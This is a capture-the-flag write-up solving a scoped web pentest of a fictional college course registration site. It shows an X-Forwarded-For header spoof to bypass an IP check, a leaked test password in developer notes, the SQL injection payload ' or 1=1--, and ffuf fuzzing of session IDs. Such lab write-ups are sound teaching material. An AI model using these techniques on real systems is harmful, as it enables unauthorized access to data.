Hey again - Kevin here. The Neighborhood College Course Registration System has been updated recently, and I’d like your help running a web app penetration test to improve its security.

Remember: scope matters. Real pros respect boundaries - even when there are tempting targets nearby. The college has provided clear instructions on the site - read them carefully; they’re key to success.
Of course, those mischievous gnomes have been poking around again, so watch out for their tricks while testing.
Task: Perform a scoped web application pentest, follow the official instructions, and show the college what responsible hacking looks like.
Because an eternal winter might sound poetic, but it means no astronomy, no summer signals - just endless ice.

We quickly realize that the gnomes in the PenTest keep getting in our way, forcing us to abort. In the source code, we quickly see calls to gnomeU, which we simply block in the browser's developer tools.
Add flask-schrodingers-scope-firestore.holidayhackchallenge.com/gnomeU*
to network request blocking
It is just as important not to follow the gnomes' instructions, which lead to websites that are not within the scope. That would also result in penalty points.
Before we can log in, we see the message Invalid Forwarding IP. The easiest way to get around this is to add an X-Forwarded-For header to all our requests.
Add X-Forwarded-For: 127.0.0.1 in Burp - Settings - Tools - Proxy - HTTP match and replace rules
In the sitemap, we see developer directories under dev. If we access the same paths under our scope register, we see developer notes that should not be on a production system.
https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap?id=xy
https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/dev/dev_todos?id=xy
- [ ] Patch XSS
- [ ] Remove 'dev_notes' from 'dev' folder
- [X] Enforce Login Header (which one TBD)
- [X] Update 'teststudent' password to '2025h0L1d4y5'
In the course area, we see a course search in the source code that has been commented out. We can easily reactivate it via the JavaScript console and use it.
<section class="courses-content">
<div class="courses-container" style="max-width: 500px;">
<h2 class="semester-heading">❄️ Spring Semester 2026 ❄️</h2>
<!-- Should provide course listing here eventually instead of the extra step through search flow. -->
<!-- <ul id="courseSearch" class="courses-list">
<li><a href="/register/courses/search?id=xy">Course Search</a></li>
</ul> -->
</div>
</section>
document
.querySelector('.courses-container')
.insertAdjacentHTML(
'beforeend',
'<ul id="courseSearch" class="courses-list">' +
'<li><a href="/register/courses/search?id=8211f17a-a944-4cf9-8d4a-4b60646230b3">Course Search</a></li>' +
'</ul>'
);
In the course search, we can quickly see that it is vulnerable to SQL injection. With a suitable statement that is always true, we can display all courses.
Neighborhood College Course Search
Enter course number:
(000-999)
Not all courses are available for the upcoming term. Please only register for Spring 2026 courses.
9 ' or 1=1--
We can quickly recognize the course that was maliciously added to the catalog by the gnomes by its name: GNOME 827 - Mischief Management. Of course, it is important for the pen test not to simply delete the course, but to report it.
In another developer note, we also see the name of a new course that is still a work in progress and therefore cannot be found via the search function.
We can easily put together the course URL, but we get a message saying that the registration ID does not match. When we look at other courses, we notice that only the last four digits are different.
This time, we use ffuf for fuzzing and quickly obtain a matching ID.
ffuf -w <(printf "%03x\n" {0..4095}) \
-u "https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/courses/wip/holiday_behavior?id=xy" \
-H "Cookie: Schrodinger=xy; registration=eb72a05369dcbFUZZ" \
...
-fs 0 \
-fr "Invalid session registration value"
44c [Status: 200, Size: 24136, Words: 8372, Lines: 928, Duration: 4371ms]
44d [Status: 302, Size: 339, Words: 18, Lines: 6, Duration: 4469ms]
44e [Status: 302, Size: 339, Words: 18, Lines: 6, Duration: 4634ms]
